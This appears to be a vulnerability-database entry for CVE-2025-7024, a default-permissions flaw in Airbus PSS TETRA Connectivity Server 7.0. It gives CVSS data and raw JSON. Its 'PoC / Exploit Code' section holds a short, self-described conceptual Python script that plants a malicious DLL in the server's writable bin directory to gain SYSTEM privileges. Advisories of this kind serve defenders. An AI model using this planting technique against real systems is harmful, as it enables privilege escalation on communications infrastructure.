Security Vulnerability Report
中文
CVE-2025-7024 CVSS 7.3 HIGH

CVE-2025-7024

Published: 2026-04-03 08:16:17
Last Modified: 2026-04-03 16:10:24

Description

Incorrect Default Permissions vulnerability in AIRBUS PSS TETRA Connectivity Server on Windows Server OS allows Privilege Abuse. An attacker may execute arbitrary code with SYSTEM privileges if a user is tricked or directed to place a crafted file into the vulnerable directory. This issue affects TETRA connectivity Server: 7.0. Vulnerability fix is available and delivered to impacted customers.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

TETRA Connectivity Server 7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import shutil # Conceptual PoC for CVE-2025-7024 # This script demonstrates copying a malicious DLL to a vulnerable directory. # In a real scenario, the attacker needs low-level access and user interaction to place the file. MALICIOUS_DLL_PATH = "C:\Temp\evil.dll" VULNERABLE_DIR = "C:\Program Files\Airbus\TETRA\ConnectivityServer\bin" TARGET_FILE = os.path.join(VULNERABLE_DIR, "trusted_library.dll") def exploit(): print(f"[*] Attempting to copy malicious DLL to {TARGET_FILE}") # Check if vulnerable directory exists and is writable (simulating permission check) if os.path.exists(VULNERABLE_DIR) and os.access(VULNERABLE_DIR, os.W_OK): try: # Simulate the action of a user placing the file or an automated script shutil.copy(MALICIOUS_DLL_PATH, TARGET_FILE) print(f"[+] Success! Malicious file placed at {TARGET_FILE}") print("[+] Wait for system restart or service trigger to gain SYSTEM privileges.") except Exception as e: print(f"[-] Failed to copy file: {e}") else: print("[-] Vulnerable directory not found or not writable.") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-7024", "sourceIdentifier": "[email protected]", "published": "2026-04-03T08:16:17.290", "lastModified": "2026-04-03T16:10:23.730", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Default Permissions vulnerability in AIRBUS PSS TETRA Connectivity Server on Windows Server OS allows Privilege Abuse.\n\n\nAn attacker may execute arbitrary code with SYSTEM privileges if a user is tricked or directed to place a crafted file into the vulnerable directory.\n\nThis issue affects TETRA connectivity Server: 7.0.\n\n\nVulnerability fix is available and delivered to impacted customers."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "references": [{"url": "https://cwe.mitre.org/data/definitions/276.html", "source": "[email protected]"}]}}